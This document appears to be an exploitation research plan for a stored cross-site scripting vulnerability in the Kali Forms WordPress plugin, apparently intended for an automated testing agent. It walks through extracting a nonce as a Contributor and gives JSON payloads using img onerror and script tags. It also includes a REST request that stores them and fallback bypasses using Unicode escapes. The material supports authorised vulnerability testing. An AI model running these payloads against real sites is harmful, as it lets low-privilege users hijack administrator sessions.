Kali Forms <= 2.4.13 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'kaliforms_field_components' Parameter

This research plan outlines the steps to investigate and exploit CVE-2026-9107, a Stored Cross-Site Scripting (XSS) vulnerability in the Kali Forms plugin for WordPress.

---

1. Vulnerability Summary

• Vulnerability: Stored Cross-Site Scripting (XSS).
• Location: Inc/Backend/class-sanitizers.php within the sanitize_field_components and sanitize_properties_object functions.
• Cause: The plugin fails to adequately sanitize or escape JSON-encoded form field configuration data (specifically the kaliforms_field_components meta) before storing it in the database and rendering it in the backend form builder.
• Impact: An attacker with Contributor-level access can inject malicious scripts into form configurations. These scripts execute in the context of any user (including Administrators) who opens the form for editing in the backend.

2. Attack Vector Analysis

• Endpoint: WordPress REST API (likely via Forms_Rest_Controller) or admin-ajax.php.
• Authentication: Required (Contributor-level or higher).
• Vulnerable Parameter: meta[kaliforms_field_components] (or a parameter mapping to this meta key).
• Payload Type: JSON-encoded array containing HTML/JS injection in field properties or labels.

3. Code Flow

1. Entry Point: The form builder sends a request to save form data. This likely hits Inc/Backend/Rest/Forms_Rest_Controller.php (registered in Inc/class-kaliforms.php).
2. Sanitization: The data passes through Inc/Backend/class-sanitizers.php.
   • sanitize_field_components($input) decodes the JSON.
   • sanitize_field_component($item) calls sanitize_properties_object.
   • Vulnerability: In sanitize_properties_object, while specific keys like price or products are sanitized, others may be stored with insufficient filtering or the sanitize_text_field application is bypassed through complex object nesting.
3. Storage: The sanitized data is stored via wp_slash(wp_json_encode($sanitized, JSON_HEX_QUOT)).
4. Retrieval & Rendering:
   • Inc/Backend/class-js-vars.php retrieves the meta: $this->content['fieldComponents'] = json_decode($this->get('field_components', '[]'), false, 512, JSON_HEX_QUOT);.
   • The data is localized into the kaliforms_vars (or similar) JS object.
   • The React-based backend builder renders these components. If a component label or property is rendered using dangerouslySetInnerHTML or similar unescaped methods, the XSS triggers.

4. Nonce Acquisition Strategy

The plugin uses a nonce for its backend operations.

• Action String: kaliforms_nonce (defined in JS_Vars as $this->slug . '_nonce').
• JS Variable: kaliforms_vars (inferred from class and slug names).
• Nonce Key: ajax_nonce.

Acquisition Steps:

1. Create a form as a Contributor to ensure the builder scripts are active.
2. Navigate to the Kali Forms editor: /wp-admin/edit.php?post_type=kaliforms_forms&page=kaliforms-builder&id=[FORM_ID].
3. Execute in browser: browser_eval("window.kaliforms_vars?.ajax_nonce").

5. Test Data Setup

1. User: Create a user with the contributor role.
2. Form: Create a new form using Kali Forms.
   • wp post create --post_type=kaliforms_forms --post_title="XSS Test Form" --post_status=publish --post_author=[CONTRIBUTOR_ID]
3. Identify Post ID: Note the ID of the created form.

6. Exploitation Strategy

Step 1: Obtain the Nonce
Use the browser_navigate tool to go to the Kali Forms admin list or builder page as the contributor. Extract the nonce from kaliforms_vars.

Step 2: Prepare Payload
The payload must be a JSON array representing the field components. We will target the label or a property that might be rendered without escaping.

[
  {
    "id": "text",
    "internalId": "text_field_1",
    "label": "First Name <img src=x onerror=alert(document.domain)>",
    "properties": {
      "placeholder": "Enter name",
      "description": "<script>alert('DescriptionXSS')</script>"
    },
    "constraint": "none"
  }
]

Step 3: Submit the Injection
Send a POST request to the REST API endpoint (verify the exact route in Forms_Rest_Controller.php, likely /wp-json/kf/v1/forms/[ID]).

• URL: http://[TARGET]/wp-json/kf/v1/forms/[FORM_ID]
• Method: POST (or PUT depending on REST implementation)
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Body:

{
  "field_components": "[{\"id\":\"text\",\"label\":\"<img src=x onerror=alert(1)>\",\"properties\":{\"placeholder\":\"test\"}}]"
}

7. Expected Results

• The REST API returns a 200 OK or 201 Created response.
• The kaliforms_field_components entry in the wp_postmeta table for the specific Form ID now contains the unescaped <img src=x onerror=alert(1)> string.
• When an Administrator logs in and navigates to the Kali Forms builder for that specific form, the browser executes alert(1).

8. Verification Steps

1. Check Database Meta:
   wp post meta get [FORM_ID] kaliforms_field_components
   Confirm the payload is stored literally without being stripped to First Name.
2. Verify Execution:
   Use browser_navigate as an Administrator to the form builder page:
   /wp-admin/edit.php?post_type=kaliforms_forms&page=kaliforms-builder&id=[FORM_ID]
   Observe if the alert or onerror event triggers.

9. Alternative Approaches

If the REST API is restricted:

• AJAX Entry Point: Look for wp_ajax_kaliforms_save_form in Inc/Backend/Hooks.php.
• Payload Variation: If label is sanitized by sanitize_text_field, inject into properties (e.g., placeholder or a custom property key) which sanitize_properties_object might iterate over without specific sanitization logic.
• JSON Encoding: The plugin uses JSON_HEX_QUOT. Attempt to bypass sanitization by using Unicode escapes (e.g., \u003cimg ... \u003e) if the PHP json_decode handles them but the regex-based sanitizers do not.